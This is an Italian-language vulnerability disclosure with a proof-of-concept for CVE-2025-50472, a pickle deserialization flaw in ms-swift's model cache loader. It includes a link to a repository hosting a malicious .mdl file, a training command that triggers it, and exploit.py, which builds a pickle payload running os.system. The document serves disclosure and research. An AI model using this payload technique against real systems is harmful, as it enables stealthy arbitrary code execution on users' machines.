
Exploit proof-of-concept per CVE-2025-50472, una vulnerabilità RCE di deserializzazione in ModelFileSystemCache di ms-swift di ModelScope tramite file .mdl dannosi.
Ho caricato un repository di codice contenente un file .mdl malevolo su ModelScope per scopi di test. Può essere utilizzato direttamente durante i test. Il link è: https://www.modelscope.cn/models/HaoFan2024/ms-swift-test-fanhao/files
Il file .mdl contiene codice malevolo incorporato, ma nessun avviso di sicurezza viene visualizzato su ModelScope.
Codice PoC:
# Set up the environment
pip install ms-swift==2.6.1
pip install -r framework.txt # This requirements file is included in the modelscope/ms-swift repository
# When using the remote repository HaoFan2024/ms-swift-test-fanhao, the `.mdl` file will be downloaded directly.
# During model loading, the `.mdl` file is loaded using `pickle.load`, leading to Remote Code Execution (RCE).
CUDA_VISIBLE_DEVICES=0 swift sft \
--model_type qwen1half-0_5b-chat \
--model_id_or_path=HaoFan2024/ms-swift-test-fanhao \
--dataset blossom-math-zh \
--num_train_epochs 5 \
--sft_type lora \
--output_dir output \
--eval_steps 200
La procedura per riprodurre il problema è la seguente:
Il modello viene scaricato
Dopo l'esecuzione del codice malevolo, l'addestramento procede normalmente senza interruzioni
Il payload malevolo viene eseguito con successo
La libreria modelscope/ms-swift fino alla versione 2.6.1 è vulnerabile all'esecuzione di codice arbitrario attraverso la deserializzazione di dati non fidati all'interno della funzione load_model_meta() della classe ModelFileSystemCache(). Gli attaccanti possono eseguire codice e comandi arbitrari creando un payload .mdl serializzato malevolo, sfruttando l'uso di pickle.load() su dati provenienti da fonti potenzialmente non fidate. Questa vulnerabilità permette l'esecuzione di codice remoto (RCE) ingannando le vittime facendo loro caricare un checkpoint apparentemente innocuo durante un normale processo di addestramento, consentendo così agli attaccanti di eseguire codice arbitrario sulla macchina bersaglio.
Nota che il file payload è un file nascosto, rendendo difficile per la vittima rilevare la manomissione. Ancora più importante, durante il processo di addestramento del modello, dopo che il file .mdl viene caricato ed esegue codice arbitrario, il normale processo di addestramento rimane inalterato, il che significa che l'utente rimane all'oscuro dell'esecuzione di codice arbitrario.
Descrizione dettagliata della vulnerabilità: La vulnerabilità deriva dalla deserializzazione non sicura di dati non fidati. Lo script usa pickle.load per caricare il file cache nascosto ed è vulnerabile all'esecuzione di codice.
Flusso del codice dall'input alla condizione vulnerabile:
~/.cache/modelscope/hub/xx/xx, dove era presente un file cache .mdl nella directory del modello, contenente informazioni di base come il nome del modello.caching.py ha deserializzato il file .mdl, il codice malevolo incorporato nel file è stato eseguito.Punto di iniezione: La vulnerabilità si verifica nel punto in cui viene chiamato pickle.load. GitHub Permalink: https://github.com/modelscope/ms-swift/blob/ab38bff0387a86fd9f068246c326ee7b0d5ed139/swift/hub/utils/caching.py#L141
Correzioni suggerite: Quando si gestiscono file di configurazione (piuttosto che file di modello), si consiglia di adottare metodi di parsing più sicuri, come yaml.safe_load(yaml_file) o json.load, per mitigare il rischio di esecuzione di codice arbitrario.
exploit.py per creare un file cache malevolo .mdl che creerà una directory sul sistema della vittima:# exploit.py
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ('mkdir HACKED',))
# .mdl
data = pickle.dumps(Exploit())
with open('.mdl', 'wb') as f:
f.write(data)
Sostituire il file .mdl originale nella directory del modello con il file malevolo creato sopra.
Quando il parametro model_id_or_path viene specificato durante l'addestramento per fare riferimento a una directory di modello locale, un file .mdl manomesso nel percorso specificato può portare all'esecuzione di codice remoto (RCE).
Importante, tale modifica non interrompe il normale flusso di lavoro di addestramento, rendendo l'attacco RCE furtivo e difficile da rilevare per gli utenti.
CUDA_VISIBLE_DEVICES=0 swift sft --model_type qwen1half-0_5b-chat --model_id_or_path=/root/.cache/modelscope/hub/qwen/Qwen1___5-0___5B-Chat --dataset blossom-math-zh --num_train_epochs 5 --sft_type lora --output_dir output --eval_steps 200
Hao Fan(凡浩) e Yu Rong(戎誉)